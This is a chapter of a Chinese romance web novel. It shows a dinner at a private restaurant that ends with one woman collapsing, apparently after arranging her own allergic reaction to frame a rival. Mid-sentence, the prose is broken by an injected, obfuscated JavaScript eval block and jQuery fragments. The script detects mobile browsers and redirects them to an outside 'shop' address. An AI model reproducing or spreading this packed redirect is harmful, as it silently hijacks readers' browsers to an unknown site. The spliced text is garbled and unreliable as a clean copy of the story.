这场比赛最终以林樟垫底结束,从俱乐部出来的时候外面天都已经黑了,他一脸生无可恋:“不是,我和她第一次搭档,配合不好不是很正常吗?”


    他的搭档是个圆脸女孩,闻言连连点头。


    司兼诚笑着拍他肩膀:“别找借口,愿赌服输,今晚这顿你请定了,但是先说好啊,我们可不去路边摊。”


    林樟咬着后槽牙,脸上还得挂着笑:“行,今晚云岫府,我订位子。”


    云岫府。


    阮会语没听过这个名字,但她注意到林樟说出这三个字的时候司兼诚的眼睛亮了一下。


    云岫府在城西,藏在一条不起眼的老街里,门口没挂招牌,只嵌着一块铜牌,刻着两个字——云岫,要不是有人带路,根本不知道这里面藏着一家私房菜。


    林樟此刻已经走出失败的阴影,积极介绍道:“这儿一天只接三桌,不对外营业。老板跟我爸有点交情,不然可订不到位子。”


    这话一出,众人又是一顿夸奖,夸得林樟都快要飞到天上去了,只见他大手一挥:“跟我来。”


    一行人穿过天井,绕过一座小小的假山,被服务员领进二楼的包间。包间很大,一张圆桌能坐十二三个人。窗户正对着天井,能看到下面那池锦鲤。灯光是暖黄色的,墙上挂着一幅水墨画,落款是某个大家的名字。


    林樟招呼大家落座,阮会语找了个不起眼的位置坐下,陆重昭坐在她旁边,对面是陈月筠,郑涵辉和赵柏茜一左一右。


    服务员递上菜单。


    林樟接过翻了翻,抬头看向阮会语:“阮姐,你先点?”


    他说这话时语气随意,本意是想替好兄弟博个好感度,但桌上其他人的目光都不经意地落在阮会语身上:赵柏茜嘴角噙着笑,郑涵辉靠进椅背,一副看好戏的样子,陈月筠则低头喝茶,嘴角也微微弯着。


    阮会语看了眼菜单。菜单是手写的,毛笔小楷,菜名都很雅——雪浪银丝、金齑玉脍、翡翠琉璃盏、踏雪寻梅……她看了一秒,然后合上。


    “我不懂这些,”她语气平淡,“你们点就好。”


    她话音刚落,郑涵辉就像是苦寻多日的侦探忽然找到了证据一般,激动地大声道:“你不是感冒了吗?怎么开口说话了?你就是在装!”


    阮会语闻言笑了一声,像是刚刚意识到这件事,言语中带着几分错愕:“对啊,我居然能说话了,看来是感冒有了好转。”


    郑涵辉:“……”


    赵柏茜紧接着开口:“既然这样,那阮小姐别客气,随便点,这可是林少请客。”她把“随便点”三个字咬得很轻,但意思很明显——你点得出来吗?


    她闻言停下了递出菜单的动作,知道这些人又开始作妖了,埋头看起了菜品介绍。


    陆重昭见状一只手搭在阮会语的椅背上,姿态懒散地靠近,手臂几乎碰到她的肩膀。


    忽如其来的带有侵略性的气息笼罩着她,女孩往另外一边挪了挪。


    “看得懂吗?”陆重昭压低声音,语气里带着点洋洋的戏谑。


    阮会语懒得理他。


    陆重昭等了两秒没得到回答,又凑近了一点,声音压得更低,几乎只有他们两个人能听见:“你求我,我就跟你讲。”


    阮会语终于赏给了他一个眼光,看着对方嘴角微微扬着、一副欠揍的表情,她语气平淡:“爱说不说。”


    他盯着她的侧脸看了两秒,知道对方会是这样的反应,他无奈地叹了口气。


    “行,我说。”男人妥协了,“金齑玉脍是鱼生,这家的招牌,片得薄,蘸料是秘制的;雪浪银丝是蟹肉豆腐,清淡,你应该吃得惯;翡翠琉璃盏就是清炒时蔬,但他们用的是高汤焯的,比别家鲜;踏雪寻梅是甜品,红豆沙圆子,上面撒了桂花……”


    他说得很快,像是在报菜名,但每一个都解释得清清楚楚。阮会语听着,没说话,但目光在菜单上那几道菜名上停了一瞬。


    陆重昭说完,坐直身子,端起茶杯喝了一口,像是刚才什么都没发生过。


    服务员看向阮会语:“小姐,您先点?”


    阮会语合上菜单,语气平淡:“金齑玉脍,雪浪银丝,翡翠琉璃盏,踏雪寻梅,剩下的你们点吧。”


    服务员愣了一下,然后笑着点头:“好的,您真的很会点,这几道都是我们这儿的招牌。”


    阮会语点点头,端起茶杯喝了一口。


    对面,赵柏茜的笑容僵在脸上,陈月筠的茶杯停在唇边,顿了一秒,然后若无其事地放下。


    点完菜,等上菜的功夫,几个人开始聊天,什么谁家又新开了公司,谁家少爷最近惹了麻烦,谁和谁在闹分手……阮会语安静地听着,偶尔喝一口茶。


    赵柏茜却忽然看向她:“阮小姐平时都去哪儿玩?”


    阮会语想了想:“不出去玩。”


    赵柏茜愣了一下,然后笑了:“阮小姐说什么笑呢,陆少肯定带你去了不少好地方,对吧?”


    “对。”她对赵柏茜的忍耐已经到了极限,于是放下茶杯,抬眼迎上去,“有个地方尤其好玩,狗舍。不知道赵小姐去过没有?有机会真该去看看。那里好玩到堂堂陆少就算是受伤了,也还念念不忘,经常说他想回到当初第一次去的时候呢。”


    赵柏茜正是因为不怕她,才敢时不时犯贱,既然这样,那她就搬出对方害怕的东西。


    果不其然,“狗舍”两个字成功让赵柏茜想起了被陆重昭支配的恐惧,她白着脸不出声了。


    陈月筠大概知道这件事,毕竟那天晚上赵柏茜打着视频向她哭诉了好久,今天来的路上还一直让她给她报仇,见对面的男人没有说话的打算,她连忙笑着打圆场:“柏茜就是爱聊天,阮小姐别介意。”


    阮会语耸耸肩,“我不介意,我也很喜欢和赵小姐聊天。”


    陆重昭坐在旁边静静看戏,全程没说话,眼里尽是对他对象回怼的赞赏。


    菜陆续上来,林樟作为东家招呼大家动筷。


    郑涵辉为陈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270906|196126||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    月筠夹了一片鱼生,嘱咐道:“月筠,这家有几道菜会放花生酱,你小心点。”


    陈月筠笑着点头:“知道,我注意着呢。”


    她说着像是想到了什么,转向另外一边被气急了却又不敢再说话的赵柏茜,语气温柔地对她私语了两句,赵柏茜两眼闪过一丝算计,找了个理由走出包间,她重新回到包间的时候,菜已经上齐了。


    桌上气氛正热。


    有个男生站起来给旁边坐着的女生舀了一碗汤,小心翼翼地放到她手边,女生有些不自在,低着头说了句谢谢。


    此情况一出,周围的人开始起哄。


    “哟,这么贴心啊?”


    “这汤里有糖吧?这么甜?”


    “甜的不是汤,甜的是小情侣!”


    男生被闹得脸也红了,挠着头笑,那女生头埋得更低了。


    林樟笑得最大声:“行啊你小子,平时看你闷声不响的,原来是闷骚型。”


    司兼诚也在旁边起哄:“趁大家都在,要不今天把这好事给定下来?”他边说还便朝陆重昭挤了个眼色。


    兄弟,有点眼力见啊!


    后者收到那个眼神,沉默了两秒,然后毫无征兆站起来,众人都是一愣,目光齐刷刷落在他身上。他没解释,只是拿起汤勺,舀了满满一碗汤,动作自然得像做过无数次。汤碗被轻轻放到阮会语手边,热气袅袅升起,模糊了她的侧脸。


    桌上安静了一瞬。


    林樟眼睛都亮了,忍着没笑出声。司兼诚靠在椅背上,嘴角噙着笑意。郑涵辉的笑容僵在脸上,下意识去看陈月筠。


    陈月筠的筷子停在半空中,菜悬在碟子上方,迟迟没有落下。她盯着那碗汤,又看向陆重昭,他已经转过头,正若无其事地和林樟说话,像是刚才什么都没发生过。


    但陈月筠看见了他眼角那一点笑意。她想起高中时他给她买奶茶,也是这副模样,明明做了好事偏要装作不在意的样子。


    可现在,那点笑意是给别人的。


    陈月筠的指尖发凉,筷子“啪”地落在桌上。


    “月筠姐?”赵柏茜的声音像是从很远的地方传来。


    她张了张嘴,想说没事,却发现自己呼吸有些急促,胸口闷得厉害,像是有什么东西压着。她下意识伸手去够桌上的茶杯,指尖碰到杯壁的瞬间,一阵眩晕袭来。


    那道菜,终于起效了。


    “月筠姐!”赵柏茜的尖叫刺进耳膜。


    陈月筠的身体软软地向后倒去,椅子发出刺耳的摩擦声,她最后的意识里,是陆重昭猛然站起的画面——


    那碗汤被他带倒,乳白色的汤汁溅出来,落在阮会语的手背上。


    她看见陆重昭的脸上出现一丝慌张,而后朝她这边冲过来。


    而阮会语,只是静默地坐着,像个置身事外的旁观者,看着自己手背上迅速泛红的皮肤,没有出声。


    阮会语,一个替身,最终还是我赢了。在失去意识的最后一秒,她想。